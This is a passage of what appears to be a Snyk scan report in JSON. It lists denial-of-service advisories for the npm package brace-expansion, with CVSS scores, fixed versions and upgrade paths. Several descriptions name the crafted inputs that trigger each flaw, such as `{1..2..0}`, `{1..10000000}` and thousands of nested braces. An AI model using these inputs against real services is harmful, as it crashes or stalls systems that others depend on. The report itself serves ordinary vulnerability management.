processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": 